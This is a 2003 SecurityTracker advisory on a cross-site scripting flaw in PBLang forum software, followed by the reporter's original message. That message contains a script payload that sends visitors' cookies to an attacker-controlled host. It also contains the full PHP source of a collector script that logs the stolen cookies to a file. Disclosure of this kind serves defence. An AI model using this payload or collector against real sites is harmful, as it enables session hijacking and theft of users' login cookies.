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PBLang Input Filtering Flaw Lets Remote Users Conduct Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1007307
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jul 25 2003
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Fix Available: Yes
Exploit Included: Yes
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Version(s): 4.0 and prior versions
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Description: An input vulnerability was reported in the PBLang web forum software. A remote user can execute cross-site scripting attacks against forum users.
It is reported that a remote user can insert specially crafted text into a post so that when a target user views the post, arbitrary
scripting code will be executed by the target user's browser. The code will originate from the site running the vulnerable PBLang
software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies
(including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web
form to the site, or take actions on the site acting as the target user.
The flaw reportedly resides in the 'docs.php' script.
[Editor's
note: Version 4.55 of PBLang does not contain a file by that name.]
Some demonstration exploits are described in the Source
Message.
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
PBLang software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
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Solution: The report indicates that versions 4.0 and prior are affected. A recent version (4.55) does not contain the affected file.
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Vendor URL: pblang.drmartinus.de/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: Quan Van Truong Bui <quan_vu_208cn@yahoo.com>
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Message History:
None.
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Source Message Contents
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Date: 25 Jul 2003 12:54:11 -0000
From: Quan Van Truong Bui <quan_vu_208cn@yahoo.com>
Subject: PBLang Forum XSS Vul
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PBLang is a web forum written by PHP language. A security vulnerability in
the product allows posting of HTML code and JavaScript into existing web
pages thus causing it to be executed on the client end (a Cross-Site
Scripting vuln).
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Vulnerable systems: PBLang forum
Version: 4.0 or lower
Website: http://pblang.drmartinus.de/
Problem: Cross Site Scripting (XSS)
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If someone inserts <script>`anyscript`</script> instead of the post’s
content, the JavaScript code is executed by Internet Explorer or some
other web browsers. This allows stealing of cookie data and other
interesting things…
Exploit:
Inserting a new topic (or reply) with the following script, it will send
visitor's cookies to your host. The output is saved to http://your-
host/cookie.txt
*--------------------------------------------------------------------------
-------------------
<script>window.open("http://your-host/docs.php?docs="+escape
(document.cookie), "subwindows", "height=100,width=486")</script>
---------------------------------------------------------------------------
------------------*
Or insert every scripts – Java and HTML (ex: javascript:history.go(-1),
window.write(‘Hello world’), javascript:alert(‘Hi!!!’)… )
* Code of docs.php:*
*-------------------------------------------------docs.php-----------------
-------------------------------
<?php
//Copyright by W_Hat (www.pcworldvn.com)
define ("LINE", "\r\n");
define ("HTML_LINE", "<br>");
function getvars($arr, $title)
$res = "";
$len = count($arr);
if ($len>0)
if (strlen($title)>0)
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
foreach ($arr as $key => $value)
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$key]" . LINE . $arr[$key] . LINE;
return $res;
}
// get current date
$now = date("Y-m-d H:i:s");
// init
$myData = "[-----$now-----]" . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, "");
// file
$file = $REMOTE_ADDR . "cookie.txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>
-------------------------------------------------docs.php------------------
------------------------------*
Name: Quan Van Truong
E-Mail: quan_vu_208cn@yahoo.com
Occupation: Bug Hunter
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